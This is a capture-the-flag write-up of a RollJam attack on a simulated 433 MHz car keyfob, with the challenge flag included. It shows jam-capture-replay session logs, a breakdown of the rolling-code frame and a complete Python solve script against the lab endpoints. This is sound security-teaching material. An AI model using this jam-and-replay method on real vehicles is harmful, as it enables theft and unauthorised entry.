CyberApocalypse 2026 — Hardware — Saltlock Drift

Category: Hardware (RF / Sub-GHz) **Flag:** `HTB{r0llj4m_5alt_f0b_5pl1t_c9b69f44c1b5753d552330146c604625}`

Challenge

> Stormbound outriders recovered a salt crusted gatecar outside the Sunken Causeway. Its remote lock still listens across a shared band that the wardens use during convoy checks. Reach the channel, study the signals, and reveal the token through a replay attack.

Two network endpoints are provided:

Endpoint	Service
`154.57.164.71:32134`	**RiverGate RF-433** raw shared-band service (text protocol over TCP)
`154.57.164.71:30121`	**Saltlock Drift** HTTP dashboard + JSON API (the virtual gatecar + keyfob)

The two services share a single global RF channel state — the door lock (HTTP side) and the raw radio channel (TCP side) are the *same* 433.920 MHz OOK band, just two views of it.

This is a textbook **RollJam** rolling-code replay attack.

Recon

The RF service (port 32134)

Connecting to the TCP service drops a banner:

```
RiverGate RF-433 shared service channel
freq=433.920MHz modulation=OOK encoding=raw-hex
commands: HELP, STATUS, JAM ON, JAM OFF, TX <hex>, QUIT
physical keyfob frames are mirrored here as RX lines
STATUS lock=locked jammer=off last_counter=2120 flag=hidden freq=433.920MHz mod
```

Key capabilities: - `JAM ON` / `JAM OFF` — enable/disable a channel jammer. - `TX <hex>` — transmit a raw RF frame (attacker transmitter). - Physical keyfob transmissions are **mirrored back to us as `RX ...` lines** — i.e. we have a receiver/sniffer on the band. - `flag=hidden` until the lock is defeated.

The dashboard (port 30121)

Port 30121 is a Python HTTP server serving a fancy dashboard. Reading the inline JS reveals a small JSON API:

- `GET /api/state` — current lock/jam/counter state, event log, and a `signal.history`.
- `POST /api/fob {"button":"unlock"|"lock"}` — presses the **physical keyfob**, which emits one rolling-code transmission on the shared band.

`/api/state` shows a `receiver_counter` (the rolling-code counter the car expects). At the time of the attack it read `2122`.

The vulnerability: RollJam

The gatecar uses a **rolling code**: each keyfob press carries a monotonically increasing counter, and the receiver only accepts a code whose counter is *ahead* of what it has already seen. This defeats naive replay — you cannot just re-send an old capture.

The classic bypass (Samy Kamkar's *RollJam*):

1. **Jam** the channel so the *car* never actually receives the keyfob press…
2. …but your **sniffer still captures** the transmitted code.
3. Because the car never processed that press, its counter never advanced — so the captured code is a **still-valid, unused future code**.
4. Stop jamming and **replay** the captured code. The car accepts it because its counter is fresh.

Everything needed is exposed: `JAM ON` (jammer), the mirrored `RX` lines (sniffer), and `TX <hex>` (attacker transmitter).

Exploitation

Step 1 — Jam the channel and capture a fob press

Turn the jammer on via the RF service, then press the physical fob via the HTTP API while listening for mirrored `RX` frames:

```
> JAM ON
CH STATE jammer=on freq=433.920MHz

# POST /api/fob {"button":"unlock"}  (dashboard)

RX freq=433.920MHz modulation=OOK rssi=-38dBm raw=AAAAAAAA2DD4534C5402084B86B77
CAR MISS source=fob button=unlock reason=channel_jammed
RX freq=433.920MHz modulation=OOK rssi=-40dBm raw=AAAAAAAA2DD4534C5402084C6DBAC
CAR MISS source=fob button=unlock reason=channel_jammed
```

The car reports `CAR MISS ... reason=channel_jammed` — it never got the press, so `receiver_counter` stays at **2122**. But our sniffer captured the raw frames.

Step 2 — Study the frame

```
AAAAAAAA  2DD4   534C5402   084B      86B775B4D271
preamble  sync   device-ID  counter   rolling payload
```

- `AAAAAAAA` — classic OOK preamble (`10101010…` for clock recovery).
- `2DD4` — sync word.
- `534C5402` — device ID; `53 4C 54` is ASCII **`SLT`** (the "SLT" brand printed on the keyfob → *Saltlock*).
- `084B` — the rolling counter = **2123** (the two captures are `084B` =2123 and `084C` =2124, consecutive presses).

Since the receiver is still at `2122`, the frame with counter `084B` (2123) is exactly the next code the car will accept — an **unused future code**.

Step 3 — Stop jamming and replay

```
> JAM OFF
CH STATE jammer=off freq=433.920MHz

> TX AAAAAAAA2DD4534C5402084B86B775B4D271
TX freq=433.920MHz modulation=OOK raw=AAAAAAAA2DD4534C5402084B86B775B4D271
CAR ACCEPT source=attacker button=unlock counter=2123 result=exploit_unlock

> STATUS
STATUS lock=unlocked jammer=off last_counter=2123 flag=visible ...
```

The car accepts the replayed unused rolling code and unlocks. The dashboard event log confirms:

```
unused rolling code replay accepted
FLAG HTB{r0llj4m_5alt_f0b_5pl1t_c9b69f44c1b5753d552330146c604625}
```

Flag

```
HTB{r0llj4m_5alt_f0b_5pl1t_c9b69f44c1b5753d552330146c604625}
```

The flag itself spells out the technique: **rolljam** — jam + capture + split the rolling codes and replay.

Solve script

```
import socket, time, json, urllib.request

HOST = "154.57.164.71"; RF = 32134; WEB = 30121

def rf_connect():
    s = socket.socket(); s.connect((HOST, RF)); s.settimeout(2); return s

def pump(s, t):
    end = time.time() + t; out = b""
    while time.time() < end:
```

```
        try:
            d = s.recv(4096)
            if not d: break
            out += d
        except socket.timeout:
            pass
    return out.decode(errors="replace")

def press_fob(button):
    req = urllib.request.Request(
        f"http://{HOST}:{WEB}/api/fob",
        data=json.dumps({"button": button}).encode(),
        headers={"Content-Type": "application/json"}, method="POST")
    urllib.request.urlopen(req, timeout=10).read()

rf = rf_connect(); pump(rf, 1)

# 1. Jam the band, then trigger a fob press -> captured but not delivered to ca
rf.sendall(b"JAM ON\n"); pump(rf, 2)
press_fob("unlock")
cap = pump(rf, 6)

# 2. Extract the first captured RX frame (lowest/unused counter)
frame = None
for line in cap.splitlines():
    if line.startswith("RX") and "raw=" in line:
        frame = line.split("raw=")[1].strip(); break
print("captured frame:", frame)

# 3. Stop jamming and replay the unused rolling code
rf.sendall(b"JAM OFF\n"); pump(rf, 2)
rf.sendall(("TX " + frame + "\n").encode())
print(pump(rf, 5))
rf.sendall(b"STATUS\n"); print(pump(rf, 2))
```

Key takeaways

- Rolling codes stop *simple* replay but not **jam-and-replay (RollJam)**: jamming prevents the receiver from advancing its counter, so a captured "used" code is still valid.

- Real fixes: **time-limited / challenge–response codes**, tight counter windows, and jam detection.